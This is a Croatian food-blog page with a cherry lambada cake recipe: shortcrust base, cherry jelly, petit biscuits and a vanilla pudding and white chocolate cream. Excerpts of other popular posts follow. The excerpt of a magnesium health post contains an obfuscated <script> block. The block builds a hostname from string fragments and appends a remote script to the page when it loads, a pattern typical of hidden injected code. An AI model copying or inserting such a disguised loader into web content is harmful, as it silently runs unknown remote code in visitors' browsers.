CHERRY LAMBADA




Cherry lambada 



Jeste li čuli za kolač cherry lambada, kremasti kolač s višnjama i pudingom od vanilije. Isprobajte.




Cherry lambada 


Sastojci:

Prhko tijesto

100 gmaslaca
1jaje
1 žlicakiselog vrhnja
2 žlicešećera
1vanilin šećer
200 gglatkog brašna
0,5praška za pecivo

Žele

340 gkompota od višanja
2pudinga od vanilije
6 žlicašećera
100 mlvode


Međusloj

200 gpetit keksa


Krema

600 mlmlijeka
2pudinga od vanilije
6 žlicašećera
80 gbijele čokolade
180 gmaslaca


Dekoracija

100 g bijele čokolade




Priprema:

Napravite tijesto

Maslac narežite na kockice i vilicom ga pomiješajte s jajetom, kiselim vrhnjem, šećerom i vanilin šećerom. Dodajte brašno pomiješano s praškom za pecivo i zamijesite tijesto.


Ohladite i ispecite

Tijesto zamotajte u prozirnu foliju i stavite u hladnjak na 30 minuta. Zatim ga razvaljajte na veličinu kalupa u kojem ćete ga peći.

Tijesto izbockajte vilicom i pecite 20 minuta na 180 stupnjeva.



Napravite žele

Višnje zajedno sa sokom usitnite pomoću štapnog miksera i stavite kuhati. Po želji im dodajte šećera.

Puding razmutite u 100 ml vode pa ga ukuhajte u višnje. Kuhajte na laganoj vatri uz neprestano miješanje, jednu do dvije minute.

Još vrući žele prelijte preko pečenog tijesta pa na žele posložite petit kekse.



Napravite kremu

U malo mlijeka razmutite puding, a ostatak mlijeka sa šećerom i bijelom čokoladom stavite kuhati. Kada zavre, ukuhajte razmućeni puding uz neprestano miješanje.

Miješajte dok se ne zgusne pa maknite s vatre. Pokrijte prozirnom folijom pa u mlak puding dodajte maslac i izmiksajte u glatku kremu.

Kremu rasporedite na poslagane kekse, a kolač prvo ohladite na sobnoj temperaturi pa u hladnjaku.



Dekorirajte

Kolač ukrasite naribanom bijelom čokoladom i po želji višnjama, narežite na kocke i poslužite.



Pripremila: Ivana Matas 





Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više